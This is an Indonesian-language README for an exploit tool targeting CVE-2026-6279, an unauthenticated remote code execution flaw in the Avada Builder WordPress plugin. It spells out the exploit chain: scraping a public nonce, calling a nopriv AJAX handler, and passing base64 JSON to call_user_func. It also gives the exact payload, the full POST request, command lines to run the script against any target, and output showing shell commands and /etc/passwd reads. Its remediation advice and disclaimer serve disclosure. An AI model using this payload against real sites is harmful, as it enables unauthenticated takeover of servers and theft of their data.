CVE-2026-6279

Avada Builder <= 3.15.2 — Unauthenticated RCE

via call_user_func() tanpa Allowlist

--- ## Ringkasan Kerentanan Kerentanan **Remote Code Execution (RCE) tanpa autentikasi** pada plugin **Avada Builder (Fusion Builder) versi <= 3.15.2** yang digunakan oleh tema WordPress **Avada** — salah satu tema WordPress premium terpopuler dengan **900,000+** instalasi aktif. Serangan mengeksploitasi AJAX handler `wp_ajax_nopriv_fusion_get_widget_markup` yang memproses parameter `render_logics` melalui `base64_decode()` + `json_decode()` lalu meneruskannya ke `call_user_func()` **tanpa allowlist**, memungkinkan eksekusi fungsi PHP arbitrer seperti `system()`, `passthru()`, `shell_exec()`, `exec()`, dan `file_get_contents()`. ## Rantai Kerentanan (Attack Chain) ``` 1. Nonce Deterministik wp_create_nonce('fusion_load_nonce') untuk UID 0 (terekspos di halaman depan dengan shortcode Avada) 2. AJAX Unauthenticated wp_ajax_nopriv_fusion_get_widget_markup (tidak memerlukan login) 3. Deserialisasi base64_decode(render_logics) → json_decode() (tidak ada validasi struktur) 4. call_user_func() call_user_func($value['function'], $value['args']) (TANPA allowlist — fungsi PHP apapun bisa dipanggil) 5. RCE! system("id") → uid=... di response body ``` ## Bukti Eksploitasi (Proof of Concept) ``` ╔═════════════════════════════════════════════════════════════╗ ║ CVE-2026-6279 • Avada Builder <= 315.2 ║ ║ Unauthenticated RCE via call_user_func() ║ ║ Proof of Concept — Single Target ║ ║ ║ ║ Copyright © 2026 XENON1337 ║ ║ Thanks: Shadow Girlfriend 💜 ║ ╚═══════════════════════════════════════════════════════════════╝ ══════════════════════════════════════════════════════ Target : localhost:8888 Waktu : 2026-05-23 16:32:41 ══════════════════════════════════════════════════════ [*] Mendeteksi target... [+] Avada terdeteksi! (http://localhost:8888) [*] Mencari nonce fusion_load_nonce... [+] Nonce ditemukan: b6d7b084c2 (sumber: homepage) [*] Mengirim payload RCE... [*] Mencoba 5 fungsi × 3 widget = 15 kombinasi ══════════════════════════════════════════════════════ [★] RCE BERHASIL! Target : http://localhost:8888 Output : uid=1000(xenon1337) Fungsi : system() Widget : WP_Widget_Recent_Posts Nonce : b6d7b084c2 (homepage) Waktu : 1.2s [✓] Hasil disimpan ke vuln.txt ══════════════════════════════════════════════════════ ``` ### Semua Fungsi RCE Terkonfirmasi | Fungsi | Argumen | Hasil | |---------------------|-------------|------------------------------| | `system()` | `id` | `uid=1000(xenon1337)` ✅ | | `passthru()` | `id` | `uid=1000(xenon1337)` ✅ | | `shell_exec()` | `id` | `uid=1000(xenon1337)` ✅ | | `exec()` | `id` | `uid=1000(xenon1337)` ✅ | | `file_get_contents()` | `/etc/passwd` | `root:x:0:0:...` ✅ | ## Penggunaan ```bash # Tanpa protokol (auto-detect) python3 CVE-2026-6279.py target.com # Dengan protokol python3 CVE-2026-6279.py http://target.com python3 CVE-2026-6279.py https://target.com # Dengan port python3 CVE-2026-6279.py target.com:8080 python3 CVE-2026-6279.py http://target.com:8080 ``` ## Detail Teknis ### Payload Structure ```json { "type": "wp_conditional_tags", "value": { "function": "system", "args": "id" } } ``` Base64 encoded → dikirim sebagai `render_logics` via POST ke `wp-admin/admin-ajax.php`. ### Endpoint ``` POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest action=fusion_get_widget_markup fusion_load_nonce= render_logics= widget_type=WP_Widget_Recent_Posts ``` ### Referensi Source Code (dari CVE resmi) | File | Baris | Fungsi | |------|------|--------| | `class-fusion-builder-conditional-render-helper.php` | L1083 | `should_render()` — deserialize render_logics | | `class-fusion-builder-conditional-render-helper.php` | L1531 | `get_value()` — `call_user_func()` tanpa allowlist | | `fusion-widget.php` | L44 | `render_logics` attribute | | `fusion-widget.php` | L389 | `wp_ajax_nopriv_` AJAX handler | | `class-fusion-builder.php` | L7551 | Nonce registration (deterministik untuk UID 0) | ### Mengapa Nonce Bisa Dibypass? 1. Tema Avada hanya membuat nonce untuk user admin/editor (`class-fusion-app.php` L1665) 2. Plugin Fusion Builder membuat nonce untuk **UID 0** (pengunjung publik) di halaman yang memiliki shortcode `[fusion_post_cards]` atau `[fusion_table_of_contents]` 3. Nonce WordPress untuk UID 0 bersifat **deterministik** — bisa diekstrak dari HTML halaman depan 4. `check_ajax_referer('fusion_load_nonce')` hanya memverifikasi nonce valid, bukan bahwa user terautentikasi ### Batasan call_user_func `call_user_func($function, $args)` hanya menerima **1 argumen**. Fungsi yang butuh 2+ argumen (seperti `proc_open`, `popen`) tidak bisa dieksploitasi. Hanya fungsi single-arg yang berfungsi: `system`, `passthru`, `shell_exec`, `exec`, `file_get_contents`. ## CVSS Score **9.8 CRITICAL** (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) ## Remediasi - Update Avada Builder ke versi **> 3.15.2** - Tambahkan allowlist pada `call_user_func()` di `get_value()` - Batasi `wp_ajax_nopriv_` handler hanya untuk user terautentikasi - Implementasikan validasi ketat pada struktur `render_logics` ## Disclaimer PoC ini dibuat untuk **tujuan edukasi dan riset keamanan** saja. Penggunaan terhadap sistem tanpa izin adalah **ilegal**. Penulis tidak bertanggung jawab atas penyalahgunaan. ---

Copyright © 2026 XENON1337
Special Thanks: Shadow Girlfriend 💜